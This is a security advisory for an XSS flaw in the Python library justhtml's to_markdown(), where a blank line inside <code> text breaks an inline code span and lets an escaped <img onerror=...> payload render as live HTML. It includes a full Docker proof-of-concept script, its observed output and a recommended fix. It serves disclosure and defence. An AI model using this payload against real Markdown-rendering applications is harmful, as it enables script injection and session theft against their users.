PT-2026-55844 · Pypi · Justhtml

Publicado

2026-06-25

·

Atualizado

2026-06-25

CVSS v3.1

6.1

Média

VetorAV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

justhtml: to markdown() code-span blank-line breakout enables XSS

Summary

In justhtml 0.9.0 through 1.21.0, to markdown() renders <code> text (and <pre> text inside a link) as an inline Markdown code span whose only protection is backtick-fence length. A blank line (`
`) in that text terminates the inline span in any compliant Markdown renderer, so attacker-controlled text that survived HTML sanitization is emitted unescaped after the blank line and is re-parsed as live raw HTML/Markdown — yielding XSS in the default configuration. Likely CWE-79 (Cross-site Scripting) arising from CWE-116 (Improper Encoding/Escaping of Output).

Details

to markdown() is documented as a safety surface. docs/text.md states the guarantee applies "to the HTML produced by rendering that Markdown with a compliant Markdown renderer," and SECURITY.md promises to markdown() "escapes line-start Markdown markers that could change block structure" and "uses code fences long enough to contain backticks safely."
The inline code-span helper only sizes the backtick fence; it never accounts for block boundaries:
src/justhtml/node.py:32-41 (tag v1.21.0):
python
def markdown code span(s: str | None) -> str:
  if s is None:
    s = ""
  # Use a backtick fence longer than any run of backticks inside.
  fence = markdown backtick fence(s, minimum=1)
  # CommonMark requires a space if the content starts/ends with backticks.
  needs space = s.startswith("`") or s.endswith("`")
  if needs space:
    return f"{fence} {s} {fence}"
  return f"{fence}{s}{fence}"
The element's text is taken verbatim (strip=False, so embedded newlines are preserved) and routed into that helper:
src/justhtml/node.py:1061-1078 (tag v1.21.0):
python
      if tag == "pre":
        code = current.to text(separator="", strip=False)
        if current in link:
          current builder.raw( markdown code span(code))   # inline path
        else:
          fence = markdown backtick fence(code, minimum=3)  # block path
          ...
      if tag == "code" and not current preserve:
        current builder.raw( markdown code span(current.to text(separator="", strip=False)))
A Markdown inline code span is an inline construct and cannot span a block boundary: a blank line ends the paragraph, the opening backticks are left unmatched (literal), and everything after the blank line is parsed as ordinary Markdown — independent of fence length. Because CommonMark passes raw inline HTML through by default, text such as <img src=x onerror=...> becomes a live element.
Reachability with default settings: JustHTML(html) sanitizes by default; <code> and <pre> are in DEFAULT POLICY.allowed tags; default sanitization preserves their text and the blank line (whitespace collapsing is opt-in). The payload lives in text, not a URL attribute, so URL-scheme sanitization never applies. The tokenizer decodes character references in normal text before DOM insertion, so &lt;img …&gt; enters the DOM as literal <img …> text while passing HTML sanitization.
Two in-repo asymmetries confirm this is an unguarded path rather than intended behavior:
  • Plain text-node content is HTML-escaped before Markdown escaping, so the same &lt;img …&gt; outside a code span is neutralized to &lt;img …>. Inside a code span it is not escaped — the fence is assumed sufficient.
  • <pre> outside a link uses a block fence (minimum=3, line 1066), which a blank line cannot break. The same <pre> inside a link (line 1064) and all <code> use the inline span, which a blank line breaks.

PoC

Self-contained, runs entirely in Docker against the pinned PyPI release. Static by default: the rendered HTML is parsed to show a live handler-bearing element materializes; no JavaScript is executed on the default path.
Dockerfile:
dockerfile
FROM python:3.11-slim
WORKDIR /poc
RUN pip install --no-cache-dir justhtml==1.21.0 markdown-it-py==4.2.0 
 && (pip install --no-cache-dir dukpy==0.5.0 || echo "dukpy optional: skipped")
COPY poc.py test.sh /poc/
CMD ["sh", "/poc/test.sh"]
poc.py:
python
#!/usr/bin/env python3
"""PoC: justhtml to markdown() inline code-span blank-line breakout -> XSS.
Audited release: justhtml==1.21.0. Static by default (parses the rendered HTML;
no JS executed). --prove-exec is an opt-in, container-only execution check."""
from  future  import annotations
import argparse
from html.parser import HTMLParser
from justhtml import JustHTML
from markdown it import MarkdownIt

MARKER = " POC XSS MARKER "
PAYLOAD TEXT = f"<img src=x onerror={MARKER}()>"
RENDER = MarkdownIt("commonmark") # raw-HTML passthrough is the CommonMark default


def build inputs() -> tuple[str, str]:
  enc = PAYLOAD TEXT.replace("<", "&lt;").replace(">", "&gt;")
  control = f"<code>q{enc}</code>"     # no blank line -> should stay inert
  exploit = f"<code>q

{enc}</code>"   # + one blank line -> the whole exploit
  return control, exploit


def to markdown(html: str) -> str:
  return JustHTML(html, fragment=True).to markdown() # public API, default sanitize=True


class SinkFinder(HTMLParser):
  def  init (self) -> None:
    super(). init (); self.sinks: list[tuple[str, str, str]] = []
  def handle starttag(self, tag, attrs):
    for name, val in attrs:
      if name.startswith("on") and val and MARKER in val:
        self.sinks.append((tag, name, val))


def live sinks(html: str):
  f = SinkFinder(); f.feed(html); return f.sinks


def show(label: str, html: str):
  md = to markdown(html); rendered = RENDER.render(md); sinks = live sinks(rendered)
  print(f"== {label} ==")
  print(f" 1. input HTML    : {html!r}")
  print(f" 2. to markdown() out : {md!r}")
  print(f" 3. CommonMark render : {rendered.strip()!r}")
  print(f" 4. live JS sinks   : {sinks if sinks else 'NONE (inert)'}
")
  return rendered, sinks


def prove exec(rendered: str) -> None:
  print("== --prove-exec (supplementary, container-only) ==")
  sinks = live sinks(rendered)
  if not sinks:
    print(" no sink to execute"); return
  handler js = sinks[0][2]
  print(f" materialized handler JS: {handler js!r}")
  try:
    import dukpy
  except Exception:
    print(" [skipped] optional 'dukpy' not installed; parse proof is canonical."); return
  result = dukpy.evaljs(f"var fired=''; function {MARKER}(){{ fired='XSS-EXECUTED'; }} {handler js}; fired;")
  print(f" JS engine result: {result!r} -> attacker JS executed" if result else " JS did not fire")


def main() -> int:
  ap = argparse.ArgumentParser()
  ap.add argument("--prove-exec", action="store true")
  args = ap.parse args()
  control, exploit = build inputs()
  print("Delta between control and exploit: exactly one blank line (

).
")
   , c sinks = show("CONTROL (payload in <code>, NO blank line)", control)
  ex rendered, e sinks = show("EXPLOIT (payload in <code>, + blank line)", exploit)
  ok = (not c sinks) and bool(e sinks)
  print("== VERDICT ==")
  print(" BYPASS CONFIRMED." if ok else " not reproduced")
  if ok:
    print(f" Sanitized code text became a LIVE element: {e sinks[0]}")
  print()
  if ok and args.prove exec:
    prove exec(ex rendered)
  return 0 if ok else 1


if  name  == " main ":
  raise SystemExit(main())
Build and run:
bash
docker build -t justhtml-md-poc ./poc
docker run --rm justhtml-md-poc
Observed output (justhtml 1.21.0, markdown-it-py 4.2.0):
=== Versions under test ===
Name: justhtml
Version: 1.21.0
Name: markdown-it-py
Version: 4.2.0

Delta between control and exploit: exactly one blank line (

)
inserted into otherwise identical <code> text.

== CONTROL (payload in <code>, NO blank line) ==
 1. input HTML    : '<code>q&lt;img src=x onerror= POC XSS MARKER ()&gt;</code>'
 2. to markdown() out : '`q<img src=x onerror= POC XSS MARKER ()>`'
 3. CommonMark render : '<p><code>q&lt;img src=x onerror= POC XSS MARKER ()&gt;</code></p>'
 4. live JS sinks   : NONE (inert)

== EXPLOIT (payload in <code>, + blank line) ==
 1. input HTML    : '<code>q

&lt;img src=x onerror= POC XSS MARKER ()&gt;</code>'
 2. to markdown() out : '`q

<img src=x onerror= POC XSS MARKER ()>`'
 3. CommonMark render : '<p>`q</p>
<p><img src=x onerror= POC XSS MARKER ()>`</p>'
 4. live JS sinks   : [('img', 'onerror', ' POC XSS MARKER ()')]

== VERDICT ==
 BYPASS CONFIRMED.
 The blank line terminated the inline code span; sanitized code
 text became a LIVE handler-bearing element: ('img', 'onerror', ' POC XSS MARKER ()')
 The control (no blank line) stayed inert inside <code>.
The exploit is byte-identical to the inert control plus a single blank line (`
`). Deterministic: same input → same result.
Optional execution confirmation (docker run --rm justhtml-md-poc python3 /poc/poc.py --prove-exec) — supplementary; the parse proof above is canonical. Inert marker only:
== --prove-exec (supplementary, container-only) ==
 materialized handler JS: ' POC XSS MARKER ()'
 JS engine result: 'XSS-EXECUTED' -> attacker JS executed

Impact

This is a cross-site scripting vulnerability (CWE-79). It affects any application that follows the documented pipeline: sanitize untrusted HTML with JustHTML(...) under default settings, call to markdown(), and render the result with a CommonMark-compliant renderer (raw-HTML passthrough is the CommonMark default).
An attacker only needs to control HTML text inside a <code> element, or a <pre> element within a link — no custom policy and no sanitize=False. Any user who then views the rendered page executes attacker-controlled script in their own origin, enabling cookie/session theft or actions performed as the victim.
Severity: CVSS 3.1 6.1 (Moderate), CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. Scope is Changed: the injected script runs in the origin of the page that renders the Markdown, a different security authority than the library that produced it.

Recommended fix

Do not represent text containing a block boundary as an inline code span. In markdown code span / the <code> and in-link <pre> dispatch (src/justhtml/node.py:1061-1078), if the content contains a blank line (or any ), emit it as a fenced code block — reusing the existing block path at lines 1066-1074, whose fence is not broken by blank lines — or collapse newlines in inline-code content. As defense-in-depth, escape HTML/Markdown-significant characters in code-span bodies rather than relying on fence length alone, matching the existing text-node escaping already applied elsewhere.

Resources

  • CWE-79 — https://cwe.mitre.org/data/definitions/79.html
  • CWE-116 — https://cwe.mitre.org/data/definitions/116.html
  • Affected source (tag v1.21.0): src/justhtml/node.py:32-41 ( markdown code span), src/justhtml/node.py:1061-1078 (<pre>/<code> dispatch).
  • CommonMark spec — code spans are inline and cannot contain a blank line; raw HTML is passed through by default: https://spec.commonmark.org/0.31.2/#code-spans
  • Novelty: same vulnerability class as two prior, already-fixed to markdown() advisories but a distinct, still-unfixed variant. The earlier fixes address (a) HTML-escaping of plain text nodes and (b) backtick-fence length for <pre> code blocks. Neither addresses a blank-line break of an inline code span: fence length is irrelevant to a block-boundary break, and code-span bodies are not HTML-escaped. The cited dispatch and helper are unchanged at v1.21.0, and origin/main == v1.21.0 (no embargoed fix).

Correção

XSS

Improper Encoding or Escaping of Output

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

GHSA-JF6W-2MVX-633J

Produtos afetados

Justhtml